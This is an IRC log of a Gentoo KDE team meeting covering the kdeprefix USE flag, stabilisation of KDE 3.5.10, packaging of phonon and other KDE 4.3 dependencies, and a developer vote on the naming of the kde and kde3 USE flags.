+22:51 (@scarabeus) reavertm: yep that is other thing, and that can be handled by, newest ap win
+22:51 (+reavertm) (or the other way around?)
+22:52 (@scarabeus) kde4 apps in gnome
+22:52 (+wired) if user has -kdeprefix installed, only that one shows in other DEs, if he has only +kdeprefix then grab newer version (or stabler, whatever)
+22:52 (@scarabeus) yep
+22:52 (@scarabeus) but dont bother with it on kde3
+22:52 (@jmbsvicetto) tampakrap: we can't mask 3.5.9 monos until we get 3.5.10 marked stable
+22:52 (@hwoarang) afaik there was another situation that kde3 apps didnt show on kde4 session
+22:52 (+reavertm) what you have just written - how exactly are you going to implement?
+22:53 (+reavertm) espeically "if he has only +kdeprefix then grab newer version (or stabler, whatever)" part
+22:53 (@jmbsvicetto) tampakrap: That would cause issues for stable users
+22:54 (+wired) reavertm: check in /etc/env.d/... ?
+22:55 (@scarabeus) ok for kde3 i have two things
+22:55 (@scarabeus) - kill arts, all misc apps needs it removed and be stabled before 3.5.10 stabling
+22:55 (@scarabeus) - stable 3.5.10, all kde related misc apps needs to be revbumped/verbumped and stabled before it
+22:55 (@scarabeus) anything to this
+22:55 (@alexxy) jmbsvicetto: thats why i think its better to mask kdeprefix use flag to not confuse stable users at all
+22:55 -!- jkt| [n=jkt@basa.flaska.net] joins -> #gentoo-kde
+22:55 (@tampakrap) kde3 misc apps is up to me
+22:55 (+reavertm) making kdeprefix is differnt topic :)
+22:55 (@yngwin) i'd agree with masking kdeprefix useflag
+22:55 (+wired) actually i agree with alexxy it should be masked
+22:56 (+krytzz) me too ^^
+22:56 (@jmbsvicetto) alexxy: Unmasking a use flag is not something we should ask our users to do
+22:56 (@scarabeus) reavertm: i think we will talk about it on the bug
+22:56 (@tampakrap) i want someone to stable 3.5.10, i don't know the procedure for a list of packages
+22:56 (@jmbsvicetto) alexxy: We already have it disabled by default
+22:56 (+wired) too many users use +kdeprefix without knowing wth it is
+22:56 (+wired) ohhh look shiny use flag
+22:56 (@alexxy) jmbsvicetto: kdeprefix is topper to make kde 4.2 stabel
+22:56 (@hwoarang) wired is right actually :)
+22:56 (@scarabeus) jmbsvicetto: i dont mind having unmasked kdeprefix, when the kdeprefix issues are fixed
+22:56 (@alexxy) jmbsvicetto: users can think that they want to have kde in /usr/kde/<version> and use kdeprefix
+22:56 (@scarabeus) and users install it "by accident"
+22:57 (@jmbsvicetto) wired: Gentoo is not a distro for "not smart" users
+22:57 (+wired) jmbsvicetto: im with you 100%
+22:57 (+wired) the users aint
+22:57 (@jmbsvicetto) wired: We don't want to become Ubuntu ;)
+22:57 (@alexxy) but it will cause troubles if they hav kde3 for example
+22:57 (nirbheek) jmbsvicetto, Hey, you just Godwinned the conversation :p
+22:57 (@yngwin) ok, maybe add an ewarn then
+22:57 (+wired) there seems to be some general confusion regarding it
+22:57 (+wired) maybe it needs to be documented better
+22:57 -!- _Phlogi [n=quassel@168-18.77-83.cust.bluewin.ch] joins -> #gentoo-kde
+22:57 (+reavertm) great, then I need volunteer to fix one bug - the one with picking live oxygen by kde 4.2 apps (both installed in kdeprefix)
+22:58 (+reavertm) after that - I can call kdeprefix supported
+22:58 (+reavertm) volunteers?
+22:58 (+reavertm) if no - mask kdeprefix :P
+22:58 (joost_op) we will have -kdeprefix in our next branch for sure
+22:58 -!- bschindler [n=quassel@77-56-156-71.dclient.hispeed.ch] joins -> #gentoo-kde
+22:58 (@jmbsvicetto) Let's improve our docs and make it *very* clear that users shouldn't enable kdeprefix unless they're ready to assume the support for their install
+22:58 (joost_op) if it helps
+22:58 (@scarabeus) jmbsvicetto: also evarn is not bad idea
+22:58 (@scarabeus) ewarn
+22:58 (@jmbsvicetto) No problem with that
+22:58 (+wired) jmbsvicetto++
+22:58 (@scarabeus) something like I_KNOW_WHAT_I_AM_DOING variable
+22:59 (+wired) and ewarn should be there as well
+22:59 -!- Eythan [n=Eythan@AMontpellier-552-1-118-57.w86-197.abo.wanadoo.fr] <- quit ["Leaving"]
+22:59 (+krytzz) yeah this one is great
+22:59 (nirbheek) Why not just globally use.mask it?
+22:59 (@jmbsvicetto) Although you all know just how much ewarns users tend to pay attention to
+22:59 (nirbheek) People who want to use it can enable it
+22:59 (@jmbsvicetto) scarabeus: no
+22:59 (@yngwin) not another variable, then it'd be better just to mask the useflag
+22:59 (+wired) also many users think kdeprefix is needed for kde3/kde4, we need to tell them thats no longer the case
+22:59 (+reavertm) what's wrong with masking it until kdeprefix issues are fixed?
+22:59 (dagger) nirbheek: global use.mask should be for stuff which is know to be broken.
+23:00 (+reavertm) actually kdeprefix IS KNOWN to be broken :P
+23:00 (@scarabeus) jmbsvicetto: i mean like live warning is handled
+23:00 (@yngwin) well, it *is* known to break things
+23:00 (nirbheek) dagger, isn't this known to be broken? :p
+23:00 (@jmbsvicetto) reavertm: I use it here :P
+23:00 (@scarabeus) jmbsvicetto: i just expresed myself poorly
+23:00 (@scarabeus) jmbsvicetto: broken ktorrent..
+23:00 (+reavertm) it is broken when used with non-kde4 sessions . period
+23:00 (dagger) is it broken for all installs? If you just use one kde (4.2) and no other version?
+23:00 (@jmbsvicetto) scarabeus: I don't think we should require users to set a new use flag or to have to digg how to unmask use flags
+23:00 (@scarabeus) jmbsvicetto: broken misc plasmoids...
+23:00 (@scarabeus) jmbsvicetto: no useflag
+23:00 (@alexxy) reavertm: if its known to be broken then it should be masked by default
+23:00 (@alexxy) from regular users
+23:01 (@scarabeus) jmbsvicetto: like the warning it is doing in live
+23:01 (@jmbsvicetto) reavertm: You're talking about mixing kde versions or using other DEs
+23:01 (nirbheek) dagger, then it's of no use, right? (if you only have one)
+23:01 (@alexxy) people who want to play with it smart enough to unmask it
+23:01 (+reavertm) both
+23:01 (+reavertm) using other DEs with multiple KDE4's installed
+23:01 (dagger) nirbheek: but I might like to have it in /usr/kde/4.2 location
+23:02 (+reavertm) jmbsvicetto: ^
+23:02 -!- mode/#gentoo-kde [+v Kuja^] by scarabeus
+23:02 (nirbheek) dagger, then why not make it default? :p
+23:02 (dagger) use.mask unmasking is not documented and should not be used really
+23:02 (nirbheek) kdeprefix is not documented, and should noe be used really (unless you know what you're doing)
+23:02 (@tampakrap) kdeprefix is documented
+23:02 (+reavertm) what else. use.force?
+23:03 (+reavertm) (and it be overriden in /etc somewhere?)
+23:03 -!- ELITE_x [n=quassel@quassel/user/elite] <- quit [Remote closed the connection]
+23:03 (nirbheek) tampakrap, yeah, and my code is documented ;p
+23:03 (@scarabeus) ok you guys are way of topic :}
+23:03 (@scarabeus) we are suposed to talk about kde3
+23:04 (@scarabeus) so for now we have revbumping all misc packages and removing arts
+23:04 (@jmbsvicetto) So let's focus again on KDE3
+23:04 (@scarabeus) anything else onto that topic?
+23:04 (@tampakrap) yes
+23:04 (@tampakrap) let me talk for a minute
+23:04 (@yngwin) well, this kdeprefix mess should be decided before stabling 3.5.10
+23:04 (@jmbsvicetto) scarabeus: I don't think it's worthy to worry about arts, but if those working on KDE3 want to drop it now, I don't have a problem with it
+23:04 (@scarabeus) jmbsvicetto: it is not working, again ton of bugs open
+23:04 (@tampakrap) the original idea behind hacking kde3 eclasses was to have mostly a kde4 session with kde3 apps working
+23:04 (@scarabeus) jmbsvicetto: so if we kill it we smash bugs
+23:05 (@jmbsvicetto) scarabeus: well, it isn't a regression ;)
+23:05 (@tampakrap) especially those that aren't still ready for kde4
+23:05 (@alexxy) kde3 works perfectly without arts
+23:05 (@alexxy) =)
+23:05 (@tampakrap) this issue is fixed, if wired and reavertm want to play more it is their issue, the stabilizattion can be proceeded normally
+23:05 (@tampakrap) and i'm going to document it
+23:05 (@tampakrap) objections?
+23:05 (+reavertm) nope
+23:06 (+reavertm) we can add some blocker anytime
+23:06 (+reavertm) (if needed)
+23:06 (@tampakrap) also
+23:06 (@jmbsvicetto) tampakrap: I agree with that
+23:06 (@yngwin) as long as kdeprefix is properly documented
+23:06 (@tampakrap) the mess created in kde misc apps was expected, so nothing is fucked
+23:06 (wilder_) hiall, qt-4.5.1 in portage does not contain   http://websvn.kde.org/trunk/qt-copy/patches/0279-svg-rendering-regression.diff
+23:06 (@tampakrap) we new from the beginning that most of them should be rebuilt to work and i am trying to revbump and stabilize the most popular ones
+23:07 (@tampakrap) and close random bugs
+23:07 (wilder_) ?
+23:07 (@jmbsvicetto) tampakrap: At this point, I think we should have 2 goals with KDE3: working environment to those still resisting KDE4 and working KDE3 apps inside a KDE4 session
+23:07 (@hwoarang) wilder_: it does. but we have a meeting now
+23:07 (+krytzz) wilder_ please later, we are in a meeting currently
+23:07 (@tampakrap) jmbsvicetto: both those work
+23:07 (@scarabeus) so we can stable
+23:07 (@scarabeus) goodie
+23:07 (wilder_) sry
+23:07 (+krytzz) np
+23:07 (@jmbsvicetto) tampakrap: right, but we should be explicit that is what we'll support for KDE3
+23:08 (@jmbsvicetto) tampakrap: So people know what we're doing and what we're willing to support
+23:08 (@tampakrap) i can document that
+23:08 (+reavertm) if we disable XDG_DATA_DIRS for kdeprefixed kde4's - current kdelibs patch is sufficient
+23:08 (+reavertm) (for kde3)
+23:08 (@tampakrap) and also propose things to users so as to have a fully working kde4 env
+23:09 (+reavertm) so only remaining issue is to fix kde4 session (kdelibs .desktop files loader) the same way as kdelibs3 one
+23:09 (+reavertm) (I can do it)
+23:09 (@tampakrap) not a major one but feel free
+23:09 (@jmbsvicetto) I also propose we make it clear that upstream stopped working on KDE almost 1 year ago and doesn't show much concern about it anymore
+23:09 (+reavertm) (a'ka fixing kde3 apps in kde4)
+23:09 (@tampakrap) the major issue is to have them working, i don't care much if they aren't listed in kmenu :)
+23:09 (@jmbsvicetto) So people worried about security should start thinking about upgrading
+23:10 (+wired) actually them showing up is important
+23:10 (@tampakrap) ok i'll prepare a new document about kde3 and kde3/4
+23:10 (@jmbsvicetto) That's another reason we need to press for KDE4 going stable
+23:10 (+wired) so that patch reavertm is talking about is needed
+23:10 (+reavertm) tampakrap: it will make them work - they need no special care apart from appending fullpath to executable
+23:10 -!- pgega [n=pgega@tonbridgesecpay.force9.co.uk] <- quit [Remote closed the connection]
+23:10 -!- Phlogi [n=quassel@24-167.77-83.cust.bluewin.ch] <- quit [Read error: 110 (Connection timed out)]
+23:10 (@tampakrap) reavertm: feel free to do it no problem by me
+23:11 (@scarabeus) ok i would say important things about kde3 are done
+23:11 (@scarabeus) what is next...
+23:11 (@scarabeus) KDE 4.3
+23:11 (@jmbsvicetto) tampakrap: So, should we try to define a timeline for 3.5.10?
+23:11 (@scarabeus) oh
+23:11 (@jmbsvicetto) scarabeus: just one sec
+23:11 (@scarabeus) deadline?
+23:11 (@tampakrap) what deadline? i can open the bug even now, the things i wanted to work are ready
+23:12 (@tampakrap) i don't know from the open bugs view if this is possible
+23:12 (@jmbsvicetto) ok
+23:12 (@scarabeus) ok so lets say 15.6 is last day when we cc archies?
+23:12 (@tampakrap) ok we have the kde3 thing settled
+23:12 (@jmbsvicetto) So we'll open a stabilization bug for 3.5.10 asap?
+23:13 (@tampakrap) yes ok
+23:13 (@jmbsvicetto) Good :)
+23:13 (@tampakrap) scarabeus: paste the summary so everyone can see it
+23:13 -!- jmbsvicetto topic of #gentoo-kde ->> Gentoo KDE | meeting: Now - KDE4.3 | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 | KDE 4.2.87in kde-testing! | SitRep: SNAFU
+23:13 (@hwoarang) http://archives.gentoo.org/gentoo-dev/msg_c5211b31c0fbff058bc767e3ac8ef077.xml
+23:13 (@scarabeus) tampakrap: it is mess
+23:13 (@scarabeus) tampakrap: i need to polish it later
+23:13 (@scarabeus) dont worry summary will be
+23:13 (@tampakrap) ok
+23:13 (@tampakrap) next topic
+23:13 (@scarabeus) libknotification is done
+23:13 (+krytzz) ok for 4.3, i dont know for sure but i think the libnotification stuff is being merged into kdelibs later
+23:13 (@scarabeus) it is pdepend in kdelibs
+23:14 (@scarabeus) it will be merged in 4.4
+23:14 (+krytzz) ah ok
+23:14 (@scarabeus) so for now it is best solution
+23:14 (@scarabeus) also i dont get upstream
+23:14 (@scarabeus) seriously
+23:14 (@scarabeus) the lib is needed in half core packages
+23:14 (@scarabeus) and they didnt add it
+23:14 (@scarabeus) insane
+23:14 (+wired) yes well
+23:14 (@alexxy) yep
+23:14  -> jmbsvicetto whistles
+23:14 (+wired) at first they had it in extra gear
+23:14 (+reavertm) abi/api changes probably
+23:14 (+wired) LOLZ
+23:14 (+wired) :p
+23:14 (+reavertm) they wanted to workaround feature freeze :P
+23:14 (+reavertm) simly
+23:15 (+reavertm) so they invented "experimental" thing
+23:15 (@alexxy) ohh
+23:15 (@scarabeus) ok
+23:15 (@scarabeus) what else we have for kde4.3
+23:15 (@alexxy) some additional deps
+23:15 (@alexxy) like wicd
+23:15 (@tampakrap) kopete will have facebook support :)
+23:15 (+reavertm) and phonon
+23:15 (@hwoarang) LOOOOLZ
+23:15 (@alexxy) yep
+23:16 (@alexxy) also non released phonon as dep
+23:16 (+krytzz) well virtuoso isnt stable as trueg wrote
+23:16 (@scarabeus) krytzz: it is not mandatory for 4.3
+23:16 (@scarabeus) :}
+23:16 (+reavertm) or maybe we pull mplayer with mplayerthumbs?
+23:16 (+reavertm) (it's pretty heavy dep)
+23:16 (dagger) what's the status of policykit with 4.3? Do we need some extra docs?
+23:16 (+krytzz) yes
+23:16 (@scarabeus) ah
+23:16 (@scarabeus) docs
+23:16 (+krytzz) reavertm how do other package handle such deps?
+23:16 (@scarabeus) definetly
+23:16 (@alexxy) well
+23:16 (+reavertm) (that's why I opted for making phonon snapshot evem if I use mplayer myself)
+23:17 (@alexxy) policy kit used to control some privilegies like suspend/resume
+23:17 (+reavertm) krytzz: you mean other distros?
+23:17 (@yngwin) when is kde going to use qt's phonon?
+23:17 (+reavertm) or whether it's compatible?
+23:17 (+krytzz) reavertm no, i mean other packages who just call another binary
+23:17 (@scarabeus) yngwin: hopefully with 4.6
+23:17 (+reavertm) yngwin: for us? never
+23:17 (@scarabeus) yngwin: but we can just hope
+23:17 (@yngwin) ok
+23:17 (+reavertm) unless we package xine backend separately
+23:18 -!- Pesa [n=Pesa@bluemchen.kde.org] <- leaves #gentoo-kde []
+23:18 (+reavertm) (btw, policykit panel crashes in kde trunk, anyone can confirm?)
+23:18 (@scarabeus) reavertm: ok we will ship phonon snapshot
+23:18 (@hwoarang) is this possible? does it worth the pain?
+23:19 (@scarabeus) hwoarang: worth it is
+23:19 (@scarabeus) because we wont have the blocker bugs
+23:19 (+reavertm) pain it is not
+23:19 (@hwoarang) ok then this sounds great !
+23:19 -!- Pesa [n=Pesa@bluemchen.kde.org] joins -> #gentoo-kde
+23:19 (@alexxy) reavertm: in 4.2.87 it works
+23:19 (@scarabeus) ok what state is the policykit anyway
+23:19 (@scarabeus) is it usable
+23:19 (@scarabeus) does it work?
+23:19 (@scarabeus) is there something neede
+23:19 (@scarabeus) d
+23:19 (@scarabeus) (i am quite scared about it)
+23:20 (@alexxy) scarabeus: polkit works
+23:20 (+reavertm) krytzz: I haven't understood, sorry
+23:20 (@alexxy) and its needed for some actions like suspend resume
+23:20 (dagger) alexxy: isn't it controled by hal's policykit settings?
+23:20 (@scarabeus) if it works then ok
+23:20 (@alexxy) dagger: not sure
+23:20 (+krytzz) reavertm hm forget it :p i think i missed something
+23:21 (+reavertm) (in kubuntu thet did it well btw)
+23:21 (@jmbsvicetto) scarabeus: about the blocks, I think we should add a kde use flag for qtscriptgenerator/qt-qt3support so that we can solve the phonon blocks. I talked about that in the bug
+23:21 (@tampakrap) kde4 use flag
+23:21 (@yngwin) we'll come to that
+23:21 (dagger) jmbsvicetto: good point
+23:21 (+reavertm) what about adding virtual for phonon?
+23:21 (@scarabeus) ok so we will ship phonon snapshot in main tree
+23:21 (@alexxy) ahh yes use flags
+23:21 (@scarabeus) any objections
+23:21 (@alexxy) =)
+23:22 (@scarabeus) and i think virtual is better than useflag
+23:22 (@hwoarang) +1 ^^
+23:22 (@yngwin) why?
+23:22 (@scarabeus) it should work
+23:22 (+reavertm) phonon in qt 4.5.1 is the same version as media-sound/phonon in tree
+23:22 (@scarabeus) and we dont have to polute the qt ebuilds
+23:22 (@jmbsvicetto) bug 270188
+23:22 (+reavertm) (just with no-go backend - gstreamer)
+23:22 (Willikins) jmbsvicetto: https://bugs.gentoo.org/270188 "qt-phonon / phonon + phonon-kde block"; Gentoo Linux, Applications; REOP; jannisf@gmail.com:kde@g.o
+23:23 (+reavertm) those blocks are mostly portage bugs btw
+23:23 (@yngwin) yes
+23:23 (@yngwin) well, if kde wants a virtual, i suppose that would work
+23:23 (@scarabeus) yngwin: well i thinked about you
+23:23 (@jmbsvicetto) hmm, how will the virtual solve the isue?
+23:23 (@scarabeus) i dont mind poluting qt ebuilds
+23:23 (@jmbsvicetto) issue*
+23:23 (@scarabeus) but isnt virtual better for maintaining?
+23:24 (+reavertm) || deps will be removed from ebuilds
+23:24 (@jmbsvicetto) The virtual will have to prefer one implementation over the other - which one will we prefer?
+23:24 -!- marco_ [n=marco@95.222.93.133] <- quit [Remote closed the connection]
+23:24 (@scarabeus) media one
+23:24 (+reavertm) || ( qt-phonon phonon ) deps
+23:24 (@scarabeus) cause it is phonon + xine
+23:24 (@jmbsvicetto) scarabeus: I don't think qt will want that
+23:24 (+wired) i agree with jmbsvicetto, kde use sounds better
+23:24 (@scarabeus) ok then we have to separate the xine
+23:24 (@scarabeus) srsly i dont mind
+23:24 (@scarabeus) so make it work :]
+23:24 (@yngwin) we wont use the virtual if qt-phonon is 2nd choice
+23:24 (@jmbsvicetto) scarabeus: Otherwise, we could just revert the deps on the qt ebuilds
+23:25  -> hwoarang lost contact
+23:25 (+reavertm) separating xine needs to be done anyway iho
+23:25 (@hwoarang) qt-phonon+xine sounds better
+23:25 (@hwoarang) n?
+23:25 (@hwoarang) *no?
+23:25 (@yngwin) that sounds like a better solution
+23:25 (+reavertm) make it possible
+23:25 (@jmbsvicetto) reavertm: What we really need to do is to force xine to qt upstream ;)
+23:25 (@hwoarang) you cant
+23:25 (+reavertm) xine is evil GPL
+23:25 (+reavertm) no can do
+23:26 (@jmbsvicetto) right, *evil*
+23:26 (@yngwin) lol
+23:26 (@scarabeus) ok so snapshot and spliting
+23:26 (@hwoarang) the thing is, is it possible to ship xine separately?
+23:26 (@scarabeus) the useflag i guess is ok
+23:26 (@hwoarang) good
+23:26 (+reavertm) hwoarang: shoud be possible
+23:26 (@scarabeus) so lets use it for now
+23:26 (@scarabeus) and later we just drop media-sound/phonon
+23:26 (@scarabeus) problem solved
+23:27 (@yngwin) hwoarang: you ok with USE=kde in qt ebuilds to prefer media-sound/phonon over qt-phonon?
+23:27 (+reavertm) (what about -9999? live phonon frm qt is not really live phonon - media-sound/phonon-9999 will need to stay - virtual can come into play)
+23:27 (@hwoarang) i dont mind
+23:28 (+reavertm) hwoarang: and you need to strip gstreamer from qt-phonon as well
+23:28 (@yngwin) ok
+23:28 (@hwoarang) in case we have kde?
+23:28 -!- d00p [n=d00p@srv3.nutime.de] joins -> #gentoo-kde
+23:28 (@hwoarang) kde? -> media-sound/phonon and strip gstreamer?
+23:28  -> hwoarang lost contact again :S
+23:28 (+reavertm) xine and gstreamer backends could be split from media-sound/phonon
+23:28 (@hwoarang) ok
+23:29 (@jmbsvicetto) yngwin: can we have "kde? ( || ( media-sound/phonon x11-libs/qt-phonon )) !kde? ( || ( x11-libs/qt-phono media-sound/phonon ))" ?
+23:29 (@yngwin) we can work out the details later
+23:29 (@hwoarang) reavertm:  so we ll use the split packages  and strip the gstreamer from qt-phonon
+23:29 (+reavertm) imho - qt-phonon should provide just phonon library - no platorm sound library
+23:29 (@scarabeus) details later plz
+23:29 (@hwoarang) ok
+23:29 (+reavertm) ok
+23:29 (@scarabeus) anything else for kde4.3
+23:29 (@scarabeus) this release seems fine
+23:29 (@jmbsvicetto) That way we can add a dep on kde4 eclasses for x11-libs/qt-qt3support[kde]
+23:29 (@scarabeus) if we have nothing else
+23:29 (+reavertm) yeah, it's b0rked!
+23:29 (@scarabeus) borked by upstream
+23:30 (@scarabeus) but if there is something from our side
+23:30 -!- helch [n=helch@212-41-73-167.adsl.solnet.ch] joins -> #gentoo-kde
+23:30 (+reavertm) (bth, it's misusing kde USE flag - better something related to phonon, not kde)
+23:30 (@tampakrap) phonon use flag?
+23:30 (@hwoarang) we can work on that
+23:31 (@hwoarang) kde4 sounds better to me . or kde
+23:31 (@yngwin) kde it is
+23:31 (@hwoarang) ok move on
+23:31 (@jmbsvicetto) hwoarang: As we're talking about kde-4.3, let's spend a few minutes talking about the use flags
+23:31 (+reavertm) kde, kde4?
+23:31 (@hwoarang) as you wish :)
+23:32 (@jmbsvicetto) hwoarang: We should drop the KDE4 use flag now and instead use KDE and KDE3 use flags
+23:32 (@tampakrap) kde->kde3 and kde4->kde4 and we can document that too
+23:32 (+reavertm) I expreessed my opition on -desktop ml
+23:32 (@hwoarang) that discussion took place ages ago
+23:32 (@tampakrap) why change the kde use flag? it is already used by kde3
+23:32 (@hwoarang) :/ i m not sure if we reached on some solution
+23:32 (@jmbsvicetto) The KDE use flag should give users the best working version at each point in time - that means it should give users KDE4 now
+23:32 (@scarabeus) kde = latest kde, for now kde4
+23:32 (@scarabeus) kde3 = kde 3.5
+23:32 (@yngwin) kde useflag means highest available version that is relevant to the package
+23:33 (@jmbsvicetto) not exactly the latest. As long as a version is experimental, it makes sense to have one use flag for it
+23:33 (@scarabeus) what i write
+23:33 (+reavertm) I don't like idea of self-'migrating' USE flag
+23:33 (@tampakrap) and what about kgtk for example that supports both?
+23:33 (@scarabeus) reavertm: gtk2 gtk1 was pain
+23:33 (+reavertm) "now we consider kde as KDE4, later it will be KDE5)
+23:33 (@scarabeus) trust me self migrating is better
+23:33 (dagger) jmbsvicetto: wouldn't it be less ambiguous to keep kde3 and kde4, so people will _always_ know what potential deps it might have/
+23:33 (@jmbsvicetto) reavertm: that's how it should be, imo
+23:33 (+reavertm) dagger: my point
+23:34 (@scarabeus) their issue
+23:34 (@jmbsvicetto) dagger / reavertm: One can check the local use flags
+23:34 (@scarabeus) they can track our anouncement
+23:34 (@scarabeus) we have news
+23:34 (@scarabeus) so we can sent it to their machine quite obviously
+23:34 (@jmbsvicetto) That's why we can now have local descriptions to make clear what each flag does
+23:34 (+reavertm) ok, what about compiz?
+23:34 (dagger) jmbsvicetto: what if we suddenly change kde flag to old kde4. That will cause problems for users
+23:35 (+reavertm) kde3 and kde USE flags?
+23:35 (@jmbsvicetto) reavertm: I'll fix that one
+23:35 (+reavertm) what about  'kde' meaning "general KDE support"
+23:35 (@jmbsvicetto) reavertm: I haven't spend as much time with it as I would like
+23:35 (+reavertm) what the heck is that?
+23:35 (@scarabeus) dagger: nothing
+23:35 (dagger) I really believe we shoudn't have kde and kde3, just kde4 and kde3. That way it's simple for people
+23:35 (@scarabeus) they just read anoucnement
+23:36 -!- Weaselweb [n=quassel@2001:6f8:9e4:123:21a:92ff:fe5a:1409] <- quit [Read error: 104 (Connection reset by peer)]
+23:36 (dagger) scarabeus: do you read announcements? Most people don't
+23:36 (@scarabeus) their problem
+23:36 (@scarabeus) really
+23:36 (@scarabeus) i read them
+23:36 (@yngwin) indeed
+23:36 (+reavertm) jmbsvicetto: I mean, there's choice to build against kdelibs:3.5 and kdelibs4 - it needs to be distinguished
+23:36 (@hwoarang) wtf
+23:36 (@jmbsvicetto) dagger: That way everyone will have to update their use flags to migrate between versions - I don't think that makes any sense
+23:36 (@hwoarang) stop carying about lazy users
+23:36 (+papillon81) scarabeus is right. kde should always refer to the latest version
+23:36 (@jmbsvicetto) reavertm: yes, I know. I'll keep the 2 use flags, but they're going to become kde3 and kde
+23:36 -!- pip_ [n=pip@e179240053.adsl.alicedsl.de] <- quit [Read error: 110 (Connection timed out)]
+23:36 (dagger) jmbsvicetto: they will have to modify use flags anyway migrating from 3 to 4, as most use flags are different anyway
+23:37 (@yngwin) most users will want/assume support for latest version
+23:37 (+reavertm) "general KDE support" means compiling against some kdelibs
+23:37 (@jmbsvicetto) dagger: that's a different thing, but kde will mean adding support for KDE
+23:37 (+reavertm) there's no "general" kdelibs - it's particular kdelibs that will be pulled
+23:37 (dagger) I don't want to wonder - what version might it be today ... and what will it be tommorow - and I'm pretty sure users don't want it as well
+23:38 (@yngwin) it's pretty straightforward
+23:38 (+reavertm) that being said = "support for KDE" is not clear enough
+23:38 -!- LXj [n=lx@ip211-94.telenet.dn.ua] <- quit [Read error: 110 (Connection timed out)]
+23:38 -!- wohnout [n=wohnout@kolej-mk-60.zcu.cz] joins -> #gentoo-kde
+23:38 (+reavertm) stable users have kde 3.5 and support for kde means support for THEIR kde
+23:38 (dagger) no it's not streaightforward. Some will assume - most recent, some will assume stable, some other wont have idea
+23:38 (+wired) well one valid alternative would be to just ditch kde and keep kde3 and kde4
+23:38 (+reavertm) for me kde treacking latest kde in portage is no go
+23:38 (+reavertm) never
+23:39 (dagger) if we change kde to kde3 - we screw stable users and emerge -DN
+23:39 (@yngwin) it's been that way for a long time, and for good reasons
+23:39 -!- The_Ball [n=The_Ball@d58-106-136-240.sbr4.nsw.optusnet.com.au] joins -> #gentoo-kde
+23:39 (dagger) unless you want to do the change when kde4 goes stable
+23:39 (+reavertm) yes, my recommendation is to drop 'kde' and keep only 'kde3', 'kde4' and so on
+23:39 (@yngwin) dagger: we dont need to change
+23:40 (dagger) yngwin: I'm lost than. I thought kde will suppose to be for kde 4
+23:40 (@jmbsvicetto) dagger: I think you're missing an important point - the kde use flag is relevant for misc apps, not for base kde
+23:40 (+spatz) will be symmetric with 'qt3', 'qt4', which makes sense to many people
+23:40 (@tampakrap) can we vote? options: kde3-kde4 and kde-kde3
+23:40 (@scarabeus) ok
+23:40 (@scarabeus) lets have vote
+23:40 -!- thansen [n=thansen@c-76-27-110-194.hsd1.ut.comcast.net] joins -> #gentoo-kde
+23:40 (@alexxy) reavertm: +1
+23:40 (+Civil) kde3-kde4
+23:40 (@tampakrap) i vote kde3-kde4
+23:40 (dagger) kde3-kde4
+23:40 (@yngwin) kde means kde support
+23:40 (+krytzz) kde3-kde4
+23:40 (+wired) do we vote or dev-only? =]
+23:40 (@scarabeus) on this only devs please
+23:40 (@scarabeus) and use 1 2
+23:40 (+krytzz) oh :p sorry ignore mine
+23:41 (@scarabeus) 1 for kde3-kde4
+23:41 (@scarabeus) 2 for kde3-kde
+23:41 (@hwoarang) 2
+23:41 (@tampakrap) 1
+23:41 (@yngwin) 2
+23:41 (@alexxy) 1
+23:41 (@scarabeus) 1
+23:41 (@jmbsvicetto) 2
+23:41 (dagger) 1
+23:41 (@scarabeus) erm 2
+23:41 (@jmbsvicetto) scarabeus: I think you messe your vote ;)
+23:41 (@scarabeus) i mean 2
+23:41 (@scarabeus) :D
+23:41 (@scarabeus) idiot
+23:41 (@jmbsvicetto) messed*
+23:41 (@scarabeus) yup
+23:41 (@yngwin) you pulled a ssuominen
+23:41 (@scarabeus) 2222222
+23:41 (@scarabeus) i wont change it
+23:42 (@alexxy) no!!!!!!
+23:42 (@hwoarang) 2 it is :P
+23:42 (@scarabeus) i just wanted to mark kde3-kde as one ; then i read it above
+23:42 (dagger) scarabeus: lies!
+23:42 (Viedzmin) ave \m/
+23:42 (dagger) scarabeus: ;)
+23:42 (@scarabeus) ;[
+23:42 (@scarabeus) ;]
+23:42 (@yngwin) so we stay with current practice
+23:42 (@jmbsvicetto) ok, so let's move forward
+23:42 (@scarabeus) yep
+23:42 (@scarabeus) CODE
+23:42 (@tampakrap) wait
+23:42 -!- doobry [n=quassel@host86-169-175-149.range86-169.btcentralplus.com] <- quit [Read error: 104 (Connection reset by peer)]
+23:42 (@yngwin) yes
+23:43 (@tampakrap) who will do the change?
+23:43 (@tampakrap) :)
+23:43 (@yngwin) what change?
+23:43 (@hwoarang) you
+23:43 (@scarabeus) when you smile so much
+23:43 (@scarabeus) guess twice
+23:43 (+reavertm) thos who voted that is
+23:43 (dagger) scarabeus: can you please explain magic CODE
+23:43 (@scarabeus) dagger: you dont get something in it?
+23:43 (@scarabeus) then ask
+23:43 (@scarabeus) ok what code is
+23:43 (@tampakrap) people wait the last topic isn't finished
+23:43 (@scarabeus) it is list of things all kde team packages should comply
+23:43 (dagger) scarabeus: I have no idea what "  - enforcing CODE requirements everywhere" is about
+23:43 (+reavertm) look at CODE file in Documentation
+23:43 (@tampakrap) we need to grep the tree and change the flags who will do it???????????
+23:44 (@yngwin) tampakrap: NO NEED
+23:44 (+reavertm) it's work in progress
+23:44 -!- The_Ball1 [n=The_Ball@d58-106-26-133.sbr2.nsw.optusnet.com.au] joins -> #gentoo-kde
+23:44 (@scarabeus) http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=blob;f=Documentation/CODE
+23:44 (@yngwin) only when there is a choice between kde 3 and 4 support do you need to specify USE=kde3
+23:44 (dagger) scarabeus: ok, now I get you
+23:44 (@jmbsvicetto) tampakrap: That needs only to be done for latest versions of misc packages that work with KDE4
+23:45 -!- termite47384 [n=me@cpe-066-057-082-106.nc.res.rr.com] <- quit [Read error: 60 (Operation timed out)]
+23:45 -!- LXj [n=lx@ip211-94.telenet.dn.ua] joins -> #gentoo-kde
+23:45 (+reavertm) ok, so CODE is set of commit policies/guides in overlay basically
+23:46 (@scarabeus) in overlay and in tree too
+23:46 (+reavertm) maybe some ebuild workflow will be recommended there as well
+23:46 (@scarabeus) yup i want everyone to look on it and write some suggestions there and we will merge it
+23:46 (+krytzz) repoman plugin for the CODE :p
